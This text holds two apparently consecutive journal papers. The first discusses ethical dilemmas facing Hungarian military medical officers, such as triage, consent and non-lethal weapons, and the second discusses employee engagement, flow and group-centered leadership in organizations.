The development of military technology and the appearance of new, modern weapons bring about new ethical challenges. The application of the intellectual warrior, the digitalised soldier, geo-information decision supporting systems, strategic information systems, virtual command points, reconnaissance sensor systems, satellite-based land-, air- and maritime data obtaining systems, non-lethal weapons causing injury; the concept of the combat medic and their integration in the services represent new opportunities and new challenges to the medical support and to the military command as well. The combat medic (life-saving soldier at the battlefield) may perform, in combat circumstances, such invasive treatments (treating of pneumothorax, intubation, infusion) which they certainly able to learn technically within a short time; however, making a decision to start or avoid such invasive treatments depends on an ethical judgement which is not easy even for a doctor in many cases. The system of the ethical conditions of the use of weapons and technics causing non-lethal injuries is especially not elaborated, as very few objective studies have been published relevant to their effects on humans.

The acoustic category includes two types. The one is in the audible range, and suitable for crowd dispersion, while the other type is in the infrasonic range (low-frequency, high-intensity sound waves) and may cause incapacity, temporary nausea, or intestinal colic.

Of the optical devices, the low-energy laser causes temporary blindness, the light grenades and stroboscopes evoke disorientation. Biological solutions may also be used which are not identical with the particularly dangerous biological agents qualified as forbidden biological weapons by international agreements. These are also viruses and toxins, only with milder effects.

Chemical agents, which are not identical with the chemical weapons known earlier, may also be used for similar purposes. As regards their effects, they may be nerve agents causing temporary incapacitation, sedatives, irritants, agents working by evoking cough, lacrimation, hiccoughs, or intensive pain. The category of chemical agents also include psychotropic substances which may cause hallucinations, disorientation or incapacitation, and gastroconvulsive agents which cause temporary incapacitation through gastrointestinal effects i.e. by evoking colic and increased bowel movement.

After the change of the political system, Hungarian Defence Forces also have gone through significant changes during the formation of new alliance systems. As part of the NATO, our army takes part in the war against terrorism and the medical support for peacekeeping and humanitarian operations in a multinational environment, applying common principles, but with regard to national characteristics and legal regulation as well, with a restructured organization, with a force, which assumes military service and the implied discipline and sacrifice on a volunteer basis. The Hungarian military medical service achieved significant results in performing such tasks, and earned international recognition.[4] During its participation in the elimination of the medical consequences of the attempt against the International Security Assistance Force in Afghanistan on 7 June 2003, the Hungarian Military Medical Contingent faced ethical challenges as well (in addition to professional tasks) in practice, such as the issue of triage when providing care for mass casualty of a terrorist action.[5] The 35 people requiring immediate care included 33 German soldiers and 2 Afghan civilians, while casualty included 8 German soldiers, the Afghan assailant, and 3 Afghan civilians.

A characteristic feature of the wars of our time is that the people present at the battlefield may include warriors of friends and foes, injured or dying people, civilians, journalists, children, women, or even people with uncertain legal status. The situation of the medical service is made even more difficult by the fact that combat and humanitarian activities may take place concurrently.

Tobin calls attention to two of the ethics problems, which may appear in the course of peacekeeping operations, namely that the medical officer may have a conflict with their military superior due to running out of resources when providing care for local civilians, and that the reporting, prevention and stopping of abuses of human rights are among the responsibilities of the medical officer.[6]

2. Changes in military ethics

Between the two world wars, the officers and petty officers of the Hungarian Army had to meet special requirements. Professional soldiers were entitled to a privileged situation, and in return, they were expected to offer their life, and partly their family life, to the service of the country. Today, it is a more and more accepted view that the profession of the soldier is a specific public service with two basic features: calling and professionalism. Calling represents the traditional values, and professionalism means that a soldier is a specialist of armed combat. The new code of ethics of the Hungarian Defence Forces was written in 2003 and introduced in 2005 as a recommendation of the Minister. The Code puts down the basic

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moral values: love of the fatherland, courage, respect, as well as the most important attributes of the behaviour of a commander, and basic expectations, e.g. refraining from party politics and extreme political views. We have little information on the effect of its introduction, possible results, and the current situation (Gligor,2014).

The possibilities offered by technical achievements (transplantation of organs, intensive therapy, artificial breathing), the increased risk of medical interventions, the changes in society (human rights have got in focus and have been integrated in the written law) have caused a change of paradigm in the field of medical ethics as well, which resulted in a focus on the patient's autonomy instead of the so-called Hippocratic, paternalist, caring role of the doctor. This new approach to patient care is described as care based on bioethical principles.

The essence of modern medical ethics approach is respect to the patient's autonomy, the principle of beneficence, and the principles of avoiding harm and enforcing of fairness.

The patient may enforce these principles through informed consent. It is the patient's basic right to be informed on their state, method of treatment, and prognosis. The patient has the right to the confidentiality of the information on their status, but may as well waive such right, and such right may even be overruled in certain regulated cases. The patient has the right to reject treatment and make a declaration about life-sustaining treatments (artificial feeding, artificial breathing) in near-death states, or assign their own attorney to make such declaration. Hungarian legislation has adopted the regulation of these issues in the framework of legal harmonization after the change of the political system, and most of them were integrated in the Act of CLIV of 1997 and in the Statute of Medical Ethics of Hungarian Medical Chamber, and, after the repealing of such Statute, they were confirmed in the Procedure on medical activity, and the Statute was reinstated in a modified form by the new Cabinet in 2010. The medical service of the Hungarian Defence Forces also found it important to deal with the subject, e.g. a special brochure on end-of-life decisions was issued with a recommendation from the medical chief of staff [8]. Practically, this included the civilian regulation. However, the life in the military is more complicated than the scope of civilian legislation, and the following of ethical rules is even more difficult in a changing society after a change of the political system. The application and ethical judgement of the above rights in connection with soldiers requires the observing of several rules of guarantee, due to the restricted rights of soldiers. According to our information, there is no consistent judgment of the issues of military medical ethics relevant to the specific circumstances in Hungary yet. With regard to the complexity of the topic which reaches far beyond the scope of this paper, the author highlights some of the most important issues which the medical officer, exerting double loyalty, faces actually when trying to comply with the rules of the military and medical professional concurrently at the same time.

3. Recent ethical dilemmas of the medical officer

According to the recommendation of World Health Organization (WMA,2004) the medical ethics applied during a military conflict must not be different from peacetime medical ethics [9].

Ethical dilemmas rise when basic principles conflict. Players and interests multiply in a war. In the circumstances of a war, the interest of the political community, the nation may come into focus, and in an emergency situation, it may take precedence over the interest of the individual, the sick person, due to the nature of military organizations. There are authors who say accordingly that medical ethics cannot be the same in peacetime and time of war.[7]

In military settings, especially in a combat situation, decisions and actions have to be taken immediately. One has to be prepared to the questions to be answered. It is especially the above-mentioned double loyalty that poses difficult situations to the medical officer.

The most important questions of principle in military ethics and modern medical ethics are grouped around four major aspects: the right to life, the autonomy and self-determination of the individual, human dignity, and expedience. According to those saying that peacetime and wartime medical ethics cannot be the same, the basis of this is that a soldier's right to live, self-determination, and autonomy are limited due to their situation. On the other hand, the interest of the nation may take precedence over the interest of the sick soldier in a just war.

The right to receive medical care, which is an axiom in peacetime, is not necessarily and not always unambiguous in a war. Should patients with a mild or more severe disease/injury be cured if there are constraints in terms of shortage of time or resources? The recovery of more lightly injured soldiers serve the maintaining of combat capability better, while saving severely injured soldiers may play an important role in the maintaining of the combat morale.

May a military emergency situation take precedence over the rights of patients and the principles of care applied in peacetime?

The application of the right of informed consent is one of the topical issues of military medical ethics today.

When should and could soldiers be provided this right, or when and to what extent should they be deprived of this right?

May it be allowed to apply such methods of medical treatment in soldiers which are still in an experimental phase and, due to their nature (e.g. in the case of chemical or biological weapons), it is not even possible to apply a procedure based on principles like the principles of peacetime evidence-based medicine? May the soldier reject such treatment?

When undertaking military service, soldiers practically accept voluntarily the limitation of their right to life. At the same time, do they have the right to die when they have suffered such a severe injury or truncation which would get them into a hopeless situation in terms of quality of life?

May the soldiers decide themselves or have the right to assign an attorney (a commander or a comrade) as it is possible in peacetime care?

Triage; The demand for fair division of the resources raises a lot of questions as well. It is important that, in addition to scarce medical resources and technical and organizational aspects, the large number of injured people and the time available for life-saving interventions raise a specific ethical problem as well. From the doctor's part, it is unethical to keep a hopeless injured person alive by sacrificing sources which could be used for others. At the

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[7] Gross M.L., Bioethics and Armed Conflict, Moral Dilemmas of Medicine and War, MIT Press 2006: 2

same time, the doctor is obliged to respect their dignity and make all effort to reduce their suffering. According to the determined priorities of care providing, and taking the circumstances into account, the doctor is obliged to treat those who are expected to recover in the largest number as a result of the interventions. They should take into consideration the special demands of children.[8] Triage performed in combat situation must also take into consideration combat readiness and combat capability. As Dominique Larrey (1814), a pioneer of military triage puts it that person must be provided care "without any discrimination" who best needs it; but he did not accept euthanasia at the battlefield which is an issue that emerges today as well, but its detailed discussion would go beyond the scope of this study. It really cannot be taken into consideration whether the seriously injured person is an own soldier, a hostile terrorist or perhaps a local civilian? May medical information be refused from the enemy?

The rise of non-conventional warfare and new non-lethal weapons since World War II tend to reach beyond the Geneva Conventions and reduce their applicability more and more.

In the circumstances of non-conventional warfare, the neutral status of the medical service is not respected either (they may become the target of terrorist or guerrilla actions), or even, the signs or labels of medical units may be used as disguise or for tactical purposes.

Another issue which emerged lately is the medical care and assistance provided during interrogations and torture. Today, the answer to the question whether the medical personnel may take part in such activities in any form is clearly 'No'.

The issue of chemical and biological weapons is partly resolved and regulated by international agreements. But there is not much experience with their new, non-lethal forms which cause or do not cause injury, and there is hardly any evidence-based data, due to the ethical difficulty of performing the appropriate studies. To what extent may health services take part in their development?

There are numerous questions to answer, but there are no easy answers or solutions to them. Processing them by scientific methods and formulating the possible alternatives may be the first step which may help develop a consensus for the military and political management in the future. According to NATO expectations and terminology, the standards of medical care are not always the same in wartime as in peacetime, but the goal is to provide care which gives the best possible result. Four important elements of quality military medical care are: organising, training, environment, and equipment. According to NATO principles, the soldier is obliged to observe wartime laws and rules, and the medical personnel is subject to special individual responsibility to observe the ethical regulation of their own profession and the legal and ethical regulation of their nation.[9]

Until the formulation of our national rules of military medical ethics, I suggest that we rely on existing international documents and the experiences of NATO partner states as guidelines. I find that the Guidance from the British Medical Association (BMA) Ethics Committee and Armed Forces Committee would be practical to use; it signposts the kinds of ethical factors doctors need to take into consideration when making decisions, and also

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[8] Medical Association Statement on Ethics in the Event of Disasters: WMA Policy file, www.wma.net/e/policy/d7.htm Downloaded:21.09.2014.

[9] RTO Lecture Series, Supporting Papers, Force Health Protection, RTO – EN – HFM- 137, www.rta.nato.int Downloaded:21.09.2014.

recommends to seek further advice from the BMA. When on operations, doctors should refer to the medical chain of command for ethics advice.[10]

4. Conclusions

1) In the course of performing contemporary tasks assigned to the Hungarian Defence Forces, medical officers may face unexpected, complex ethics situations for which they must be prepared. Ethical preparation, theoretical and practical training must be an important part of their training.

2) Keeping the topic in focus, and presenting it at the various disaster medicine and military medicine forums are important for achieving a consensus on the viewpoints.

3) The experience of medical officers gained in the field of double loyalty may be utilised within the framework of civilian health care (e.g.: medical care in prisons, providing care for refugees).

4) The author hopes to contribute through his paper to the discussion of issues related to military medical ethics, to the formulation of mutually acceptable views, to the development of the possibility to acquire knowledge in ethics, to a programmed elaboration of the detection, judgement and prevention of ethical offences, and to the improvement of the collaboration between civilian and military medical services.

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ENGAGEMENT – THE MANAGEMENT OF MOTIVATED EMPLOYEES

Abstract

Modern management concepts are getting more widely known and accepted in military organizations. One of these concepts is engagement. Most of what we know about engagement describes basic human motives and behavior: when people are motivated and interested they learn better, work better and live better than when they are disengaged and disinterested. This sounds self-evident and surely it changed very little in the last hundred years. So why is there a growing interest in engagement? If human nature stayed basically constant what has changed?
Engagement has a crucial role in many different areas of our life. In our paper we will start our journey with the dark side of the education, showing that most schools have negative effects. Then we will continue with positive examples, showing that joy and success are the natural consequences of engaged activities. Second we will compare the optimal experience (flow) with the engaged activities. Third we will consider engagement at the workplace and finally we will discuss the possibility of assessing engagement.

Keywords: engagement, flow, group-centered leadership

> *What's not worth doing is not worth doing well*
> One of Maslow's favorite aphorism

The first meaning of the verb to *engage* – according to the Oxford Wordpower Dictionary – is "to occupy somebody's thoughts, time, interest etc."; the example given is "you need to engage the students' attention right from the start", and the first meaning of the noun *engagement* is "an agreement to get married".

The rise of Engagement

The modern management concepts are getting more widely known and accepted in military organizations as well. Though the idea is not new at all, it has become very

fashionable to talk about *Engagement* these days. Most of what we know about engagement describes basic human motives and behavior: when people are motivated and interested they learn better, work better and live better than when they are disengaged and disinterested. This sounds self-evident and surely it changed very little in the last hundred years. So why is this growing interest in engagement? If human nature stayed basically constant what has changed?

Environment as the drive of performance

Looking at how performance of athletes improved in the last hundred years, it is tempting to think that we as a human race have evolved into something better in a century.

The record for the 100-meter freestyle swim was 1:05.8 in 1905 and is 46.91 now.[1] This is roughly 20 seconds in a century, which is a huge improvement. Better training techniques and nutrition are certainly important in this constant improvement, but if we look at the progress more closely we see that the large cliffs occur at changes of techniques and environment: the use of 50 meter pools with marked lanes, diving blocks, the tumble turn, the introduction of gutters on the side of the pool and finally the full body low-friction swimsuits.[2]

Similarly to other areas – the huge improvement that we see in performance is not due to changes in basic human nature, but the change of the environment. On the other hand, we also see that the change of the environment has a huge effect.

The new age of ideas

The amount and importance of ideas embodied in products, processes, art or science is increasing at an ever growing pace. At the turn of the 18th century, 95% of the population of the USA has worked in agriculture while today this number is 2%. During this time, illiteracy has been all but eliminated in the developed countries of the world and we spend manifolds more (both percent of GDP and in total) on education than a hundred years before.[3] How much of this quantitative increase of education is actually producing value is strongly debated, but the growing importance of education is not.

With this increased education we are trying to adapt to the new world that requires fundamentally different competencies than we needed before. These trends have been there for decades. Our guess is that it is the exponential speed of progress that makes the consequences of these long-term trends suddenly so much more relevant. It is increasingly obvious, that adaptation, interconnectedness and cooperation, creativity and innovation, taking risk and responsibility have become the new cornerstones of economy. As John Raven says "these are difficult and demanding activities, that nobody would do, unless they cared about".

The role and place of engagement

Engagement has a crucial role in many different areas of our life. We will start our journey with the dark side of the *education*, showing that most schools have negative effects. Then we will continue with some positive examples, showing that joy and success are the natural consequences of engaged activities (which "occupy students' and teachers' thoughts, time and interest", which are "married to their learning/teaching process"). The common message of those psychologists and educators we would like to evoke is that it is possible to create schools of which this is an essential part. *Second* we will compare the optimal experience (*flow*) with the engaged activities. *Third* we will consider engagement at the *workplace*. Finally we will discuss the possibility of *assessing* engagement.

In the plenary lecture of the WCCI Conference in Hungary, John Raven painted a broad picture from the urgent task to transform schools and workplaces into happier, more developing places characterized by *Democracy* ("we need new form of public management") *Entrepreneurship* ("we need a ferment of experimentation, evaluation, and learning in the public sector") and *Freedom* ("we need much wider acceptance of people's right to lead their lives as they choose"). One of the main message of his presentation was that "systems understanding and intervention is essential" ("understanding the hidden, multiple and mutually interactive, recursive, socio-cybernetic forces which determine what happens in society").[5]

The objective of this presentation is much more limited. We focus on one aspect of educational and organizational life: *how important is engagement in this process.*

Education

"Without engagement there is no learning. We know this from our own learning experience. The protocols of formal learning, however put the burden of engagement on the learner" – says Jane Vella about adult education. "Efforts to cover a set curriculum often lead to neglect of this principle of engagement. Our job in adult education is not to cover a set of course materials, but to engage adults in effective and significant learning".[6] Very much so, but of course not only in adult education as such.

The disengaged student and teacher

It seems, that education in many schools and in most part of the world did not learn this lesson yet. John Raven in his many papers and books gives ample evidence of this. Let us cite a few from his presentation at the 2010 WCCI Conference in Hungary:
- In Sweden, 1/3 of the pupils liked the school, 1/3 found it just tolerable and 1/3 found it an intolerable and destructive experience.
- In Northern Ireland, 98% of secondary school pupils said that they felt that they had been failures at school.

– In the US, most of the 30 year old people told to the interviewers that the educational system had failed to help them think about and develop their talent. They developed the competencies they needed on the job.

– Most of what happens in most schools does not deserve the name "academic" or "intellectual", because it involves little analysis, judgment, critical thinking, or reconciliation of different points of view. Most of the work is boring, routine, and repetitive.

– In elementary schools even the competency oriented components – the teaching of reading, writing, and counting – are badly done, because teachers do not know students motives, how to diagnose problems, how to invent remedial strategies. (All of which is why most children are actually taught to read by their parents.)

– Many primary school classrooms are soul destroying environments. Many of them have teachers who are destructive of pupils' characters and personalities. There is little attempt to vary teaching methods and content so as to engage the motives and foster some of the talents, of all of the pupils for at least some of the time.

– Schools are even less useful for Low SES than for High SES (although over 50% of HSES adults told that their own education helped them get a job and do their job well, less than 20% of LSES adults told the same).

– The role models the teachers present are inappropriate and lacking in diversity. Most teachers' self-images are of down-trodden, ineffectual, people who are unable to get control over the constraints on their own lives.

– Knowledge based education is largely a waste of time: formal knowledge has a half-life of a year (so what has been taught is forgotten by the time when it is needed), is out-of date when it is taught and does not relate to the problems which we will be met.

His conclusion is that some two thirds of the money spent on "education is wasted so far as the development of human resources is concerned, the most widely recommended solution – prescription of content and testing – is counterproductive, and the pupils are right to be turned off, de-motivated, and to protest".

Good examples

Good examples are like islands in the sea, but there are millions of islands. Recently we published a 700 pages book with 32 good educational practice in Hungary (outstanding schools, excellent teachers, new ways to master certain subjects etc.), but we had to make clear that this is only a selection, from the many existing creative solutions, fighting the system.[7]

John Raven in his book about "The Tragic Illusion: Educational testing"[8] describe a class "where education was actually organized in the way recommended by numerous educators from the time of Parker and Dewey…: Most of the students' education took place in the course of interdisciplinary projects. These projects were very through-going. The students,

as a group, carried out original investigations in the environment around the school. Their work inside their classrooms formed an integral part of these investigations. Within these overall projects, many students had personal projects, distinctive areas of specialization, and distinctive roles." Students and teachers were deeply engaged in activities which aimed to develop not only reading, writing, and arithmetic, but also such competencies as communicating, observing, finding information, which was needed to achieve goals, inventing, persuading and leading.

From the many possibilities let us mention two examples, which we found really outstanding.

ZOLTÁN DIENES

LEARNING MATH CAN BE FUN

youngsters learn best through activities and games
Holt-Dienes, p. 13.[9]

While putting together this paper, I happened to find Amanda Schneider's blog on "The Rise of Engagement and Gamification". She says: "People are having a more consumer orientation to both education and their careers. This means instead of a prescriptive path, people can create custom solutions that work best for them. In education, this takes the form of *multi-disciplinary degree* programs…(In the world of work) instead of looking for *productivity* employers are looking for *engagement*: How do we engage our workers to achieve their full potential?"[10] *Gamification* – using game-like thinking to solve problems and engage the audience – seem to be one answer to these questions.

"If math can be turned into a game, it can literally become child's play" – something like this was in Zoltan Dienes, the *Maverick Mathematician's* mind[11], while during his long life created hundreds of games. Games, which embodied serious mathematical structures, but nevertheless children love to play with. The secret of engaging children in activities which develop their mathematical thinking is –according Dienes – *intrinsic motivation.* The essential of this is "that the inducement to learn arises out of what is being learned and not out of any aim that is essentially unconnected with the content of what is to be learned". One form of intrinsic motivation is *freedom of choice.* "We seem like doing things very much more if we have chosen to do them than if someone has told us to do them…I have found that classes in which free choice was *effectively* allowed, were more highly motivated than those in which a definite program was laid down… Perhaps the ultimate aspiration of the human spirit is freedom and its judicious use."[12]

In a discussion about the "Dienes-method" he told when he was asked about "achievement-motivation": "I had the other day a couple of children spending the entire weekend working out a problem and coming back on Monday jubilant, saying, *Look, here it is. We've done it.* This is the kind of motivation that we should aim at. It is what you were

calling *intrinsic motivation*. It militates in favour of achievement, but *genuine* achievement instead of the spurious kind of achievement where you must fill so many pages." [13]

Torrance, one of the major author concerning the problem of *creativity* in relation to the educational system[14], emphasizes that work-play dichotomy is adverse to a climate for creativity. In Arieti's word: "Work and play should not be considered antithetical. School work may be joyful, too, and play may be very constructive and instructive." (p. 364.)[15]

A teacher who touches the soul (Klara Kokas)

Klara Kokas was probably the most inspiring Hungarian music pedagogue, a marvellous person with a highly creative power of mind. One cannot read her books (e.g. *Joy through the Magic of Music*)[16] or see her videos (e.g. the one about beautifully painting a country house by children fighting cancer, while listening Mozart music) without getting deeply moved by feelings. I can only cite here one aspect of her complex approach, how important *concentration* is:

"General opinion…among teachers seems to hold that the attention of children is superficial, easily distracted. If you take a careful look, however, it is easy to see how intense their concentration tends to be in any freely chosen activity... *I teach musical concentration.* Sympathetic imagination can help a lot, through identification with everyday wonders of conception and growth. If we change into a grain of wheat, music becomes the womb of earth in which the seed will germinate. If we become one with a bird's egg, in the roundness of our solitude we find our life and our imagined song which we will sing to greet the rising and setting sun…(Half attention) is a curse I fight against with all my might everywhere…Without active attention there is no creation, no art, no beauty. There is only trash, paltry trash."

Optimal experiences (Flow; Mihály Csíkszentmihályi)

If we really want to live, we'd better start at once to try;
If we don't, it doesn't matter, but we'd better start to die.
W.H. Audien

Mihály Csíkszentmihályi starts with this motto his book *Finding Flow* (The Psychology of Engagement with Everyday Life). "…to live in the sense the poet means – he continues – it is by no means something that will happen by itself…if we don't take charge of its direction, our life will be controlled by the outside to serve the purpose of some other agency."[17]

"Flow" is a very similar notion to "engagement": "Flow tends to occur when a person's skills are fully involved in overcoming a challenge that is just about manageable. Optimal experiences usually involve a fine balance between one's ability to act, and the available opportunities for action (see Fig 1)…when high challenges are matched with high skills, then the deep involvement that sets flow apart from ordinary life is likely to occur. The climber will feel it when the mountain demands all his strength…".

Fig 1: Optimal experiences involve a fine balance between one's ability to act, and the available opportunity for action

Let me stop here for a moment to cite David Klein, who recently came back from the Himalaya, trying 8th times to reach Mount Everest without oxygen (this time turning back when he was 150 meter from the top):

We – who truly are in love with them – say many beautiful things about mountains. They represent mystical forces, they are temples, lovers. Yet, in my more sober moments I realize that all they are is a big pile of stones and ice and it is me projecting my inner world onto them, creating an opportunity to meet myself under very strict rules. Rules that leave no room for deceit or lies.

The world above 8000 meters is geometric, clean and lifeless. It is sharp edges and cold, rough surfaces. It's not a colorful or dynamic world. The air is thin and cold, the rays of the Sun are piercing and merciless. I feel like a visitor. I'm very much aware that by nature I'm the opposite of all these things. I am a creature of many hues, of soft tissues and liquid fluids, of round edges and uncertainties – of dynamic and fragile balances.

To dress up and walk up to almost 9000 meters using no bottled oxygen feels like space travel. And indeed, the task is very similar: you have to propel yourself with great resolve and momentum to break away from our comfortable world where temperatures are pleasant and the thick air makes moving, breathing, thinking, digesting – existing – easy. The task is also similar to space travel because it is equally important to calculate your trajectory carefully, so after a brief visit – that enables you to look around, look up, look down and look into yourself – you return to the world below.

Up there I feel like I'm as close to raw existence as I could be. My cognitive functions – in fact, all of my functions – are narrowed, impaired, slowed down. I feel like I'm on the edge of existence. My experiences are simple, clear and primary. Strangely, I feel home in this hostile environment and in this narrow existence. I feel happy.

Can I bring down something from such a visit? Maybe. I wish I could say "sure"!
That would justify the trip. But it's not always the case: sometimes I think that after an
expedition I become more honest, more straight forward, and more empathic. At other times I
realize that the memories fade away and I do feel like an alien at sea level. In any case: I
would not give up even these fading memories for anything.

Another notion Csíkszentmihályi is using is "autotelic": "an autotelic activity is one we do for its own sake because to experience it is the main goal. For instance, if I played a game of chess primarily to enjoy the game, that game would be an autotelic experience for me; whereas if I played for money, or to achieve a competitive ranking in the chess word, the same game would be primarily *exotelic*, that is, motivated by an outside goal." One can easily see the connection between Dienes's *intrinsic_motivation* and Csíkszentmihályi's *autotelic activity* (doing things with involvement and enthusiasm). (Csíkszentmihályi is the founder and co-director of the Quality of Life Research Center, a non-profit research institute that studies "positive psychology"; that is, human strengths such as optimism, creativity, *intrinsic motivation* and responsibility.) When Csíkszentmihályi is talking about chess, Judit Polgár seems to be the best example.[18] Judit is by far the strongest female chess player in history. Her (and her sister's) story is part of the most interesting "educational experiment": her father (László Polgár) using a special "home-schooling" method proved that "Geniuses are made not born". When Judit was asked why she came back to chess after taking time off to care for her children, she said: "I cannot live without chess! It is an integral part of my life. *I enjoy the game*!"

Another important point Csíkszentmihályi makes is that "when we choose to invest *attention* in a given task, we say that we have formed an intention, or set a goal for ourselves. How long and how intensely we stick by our goals is a function of motivation… (Intentions, goals, and motivation) focus psychic energy, establish priorities, and thus create order in consciousness." It is interesting that his research shows that "whereas people feel best when what they do is voluntary, they do not feel worst when what they do is obligatory…both intrinsic motivation (*wanting to do it*) and extrinsic motivation (*having to do it*) are preferable to the state where one acts by default, without having any kind of goal to focus attention."
(It is interesting, that a friend of mine, Géza Erdős, a "laymen" discovered something similar, observing the life around him: he called it "action theory", where an "action" is an activity the person chooses voluntarily and carries out with pleasure, joy, and full attention.) [19]

Engagement at the workplace

Don't spend your life doing something you hate…or don't have a passion for
Steve Borelli

At the end of the little book about the "World Famous Pike Place Fish Market" there is a plaque describing how can one turn *a* workplace into *our* workplace: [20]

"A great place to work"

As you enter this place of work, please *choose* to make today a great day. Your colleagues, customers, team members, and you yourself will be thankful. Find ways to *play*. We can be serious about our work without being serious about ourselves. Stay focused in order to *be present* when your costumers and team members most need you. And should you feel your energy lapsing, try this sure fire remedy. Find someone who needs a helping hand, a word of support, or a good ear – and *make their day.*

Good work, good business[21]

"…workplace frustration is the enemy of engagement"
Royal, Mark-Agnew, Tom[22]

Csíkszentmihályi is not only interested finding flow in everyday life, but also very much finding out what are the conditions of flow at the workplace. He knows that the quality of our life is largely influenced by what and how we work. He is convinced that work could be one of the best, most enjoyable, self-fulfilling part of life, and whether it really will depends very much on us: how proactively try to reach this goal. He realizes that there are ruthless managers who would be ready to destroy the world for their own sake (while speaking about the bright future of mankind they contribute to, with their tireless efforts), but with a lot of examples show us the other side of the coin: those managers, who think forward 100 years for whom and success is both their own happiness and a real contribution for the happiness of their people and to the world.

Before "engagement" became so popular, researcher studied the very similar phenomen of "*job involvement*". For example in a study about the possible differences in the motivation of former "communist countries" (Bulgaria and Hungary) and a longtime "parliamentary democracy with a well-functioning market economy" (Netherland), job involvement showed close connection with *effort* and subsequently with *performance*, while *organizational commitment* contributed to *satisfaction* and subsequently to less *stress/frustration* and *tendency to leave*.[23]

According to a Hay Group study, organizations in the top quartile on engagement demonstrate revenue growth 2.5 times that of those in the bottom quartile. (Companies in the top quartile on both *engagement* and *enablement* achieve revenue growth 4.5. times greater.)[24] (Fig.2)

A Gallup study has similar results: employee engagement effects significantly the performance outcomes. Compared with bottom-quartile units, top-quartile units have

- 37% lower absenteeism,
- 25% lower turnover in high-turnover organizations and 65% lower turnover in low-turnover organizations
- 48% fewer safety incidents
- 41% fewer quality incidents (defects)
- 10% higher customer metrics
- 20% higher productivity and profitability

Clear and promising direction • Confidence in leaders • Quality and customers focus • Respect and recognition	**Engagement** • Commitment • Discretionary effort
Performance management • Authority and empowerment • Resources • Training • Collaboration	**Enablement** • Optimized roles • supportive environment

Drivers

Employee effectivenes

Financial success

Costumer statisfaction

Employee performanc

Employee e...

The world of work slowly realizes how important employee engagement is. Talent Q (an HR consultancy, specialized providing original online assessment) is talking about the need for an "engagement revolution".[25] According to their survey

- 50% of employees feel they are ignored as individuals when it comes to what motivates them
- 80% believes that treating them as individuals would increase their motivation and engagement
- only 2 in 10 employees are driving the business forward, nearly half of them are "paddling half-heartedly", 20% is "enjoying the view" and 10% is thinking about "sinking the boat".

Some sources estimate that engaged employees are 90% less likely to leave, and disengaged employees cost the US around $ 500 billion annually in lost products. Nevertheless only 10% of the businesses even monitor engagement level.

But the management guru, Peter Drucker knew it 60 years ago: "We need positive motivation – placement, high standards of performance, information adequate for self-control, and the participation of the worker – as a responsible citizen in the plant community."[26]

We used to say: **Productivity = Ability ✕ Motivation**

Today we say something similar: **Performance = Capability ✕ Engagement**

In the world of work Engagement seems to summarize Motivation, Drive, Impetus and Energy.

Group-Centered Leadership

Having a group-centered leader might be a precondition of engagement at the workplace. Thomas Gordon more than sixty years ago well described the attitude of the group-centered leader:[27]

"The group-centered leader believes in the worth of the members of the group and respect them as individuals different from himself. They are not persons to be used, influenced, or directed in order to accomplish the leader's aims. They are not people to be "led" by someone who has "superior" qualities or more important values. The group-centered leader sees the group or organization as existing for the individuals who compose it. It is the vehicle for the expression of their personalities and for the satisfaction of their needs. He believes that the group as a whole can provide for itself better than can any single member of the group. He believes in the group's fundamental right to self-direction and to self-actualization on its own terms." (p.338) He then goes on citing Carl Rogers, examining the attitudes which he feels he must have as an administrator:

" 1. Do I trust the capacities of the group, and of the individuals in the group, to meet the problems with which we are faced, or do I basically trust only myself?

2. Do I free the group for creative discussion by being willing to understand, accept, and respect *all* attitudes, or do I find myself trying subtly to manipulate group discussion so that it comes out my way?

3. Do I, as a leader, participate by honest expression of my own attitudes but without trying to control the attitudes of others?

4. Do I rely upon basic attitude for motivation, or do I think surface procedures motivate behavior?

5. Am I willing to be responsible for those aspects of action which the group has delegated to me?

6. Do I trust the individuals to do his job?

7. When tensions occur, do I try to make it possible for them to be brought out into the open?" (pp. 546-548)

Thomas Gordon more than 60 years ago wrote similar things. A group-centered leader
- provides opportunities for participation,
- creates freedom of communication,
- establishes a nonthreating psychological climate
- understands meanings and interest
- conveys acceptance,

– makes clear to the group how a new contribution is related to previous ones,
– is planning for the group, but willing to discard his plans should the group decide to reject them,
– is getting members to participate.

On a more concrete level to the question of "what can managers do to improve engagement (aside from salary/benefits or promotion)?" The answer to the Talent Q survey shows that offering training opportunities (53%), clarify responsibilities, goals and objectives (46%) and more transparency with communication (37%) are the favorites with more reasonable, manageable workload (25%), public recognition (23%) and more autonomy (23%).

Beverly Kaye and Sharon Jordan-Evans in their book *Lov'em or Lose'em* give the following good advice: "People who do what they love, usually do it very, very well. If passion is missing at work, your best people may not bring their best to work. So collaborate with them to uncover and discover what they love to do. Link them and their work to your mission and help them remove the barriers to doing what they love. The payoffs for you are enthusiastic, productive employees who will stay and play on your team"[28]

The Joyful Organization

The authors of this interesting book focus on joy and organizational health.[29] A healthy organization – according to the authors – is able balance satisfying its customers' needs, its employees' needs and its economic needs. For us the interesting part is where they describe, that one of the "health criteria" is "creating a sense of belonging". Probably the most important condition of this is a kind of feeling that "we are important". It comes from the experience that we can influence what will happen, our achievement matters, we are paddling in one boat. "Belongingness" seems to be the result of importance, autonomy, relationship and identification with the organizational culture. "Belongingness" is another expression for "engagement": engagement in activities which serve both individual and the organization.

Miracle moments

"We spend one third, or maybe more, of our lives in organizations. This is far too much time to spend feeling miserable, trying to accomplish petty goals that lead nowhere" – says Antonio dos Santos in his book on "Miracle Moments".[30] ("Miracle moments are the means to contact, and recover, our source of strength, the source which lies within our minds and beneath all the illusions and delusions of our ego." p. 96.) He points out how important is the "quality of life":

"In the last decade, high levels of performance and quality of life have played a critical role in organizational development. More than ever before, organizations concern themselves with having high standards of performance to face a growing competitive environment. High-level executives are beginning to believe that good performance does not come without the

company's playing attention to the quality of each employee's life. Although good salaries, rewards, new policies, and a well-ventilated and illuminated environment can help performance and satisfaction at work, these outside factors can never reach the importance of miracle moments. It does not matter what quality of life externally one has, one will not be satisfied if miracle moments are not present. In miracle moments, people will feel completely fulfilled and satisfied with their lives because external circumstances become meaningless, and inner peace becomes a priority." (p. 313-314)

Assessing engagement

Engagement Surveys are common practice in large companies, but very few engagement efforts lead to positive business outcome. A 2013 survey found that only 30% of organizations who had implemented an employee engagement strategy found it had improved productivity and only 13% found it reduced turnover. Surveys without visible follow-up action, may actually decrease engagement level![31]

The typical questions in an employee engagement survey are like these:
  − How do you feel about coming to work every morning?
  − Does your manager inspire you?
  − Do you feel proud to tell people where do you work?
  − Do you have the opportunity to contribute to decisions that affect you?
  − Do you understand how your role contribute to achieving business outcome?
  − Do you feel valued for the work you do?

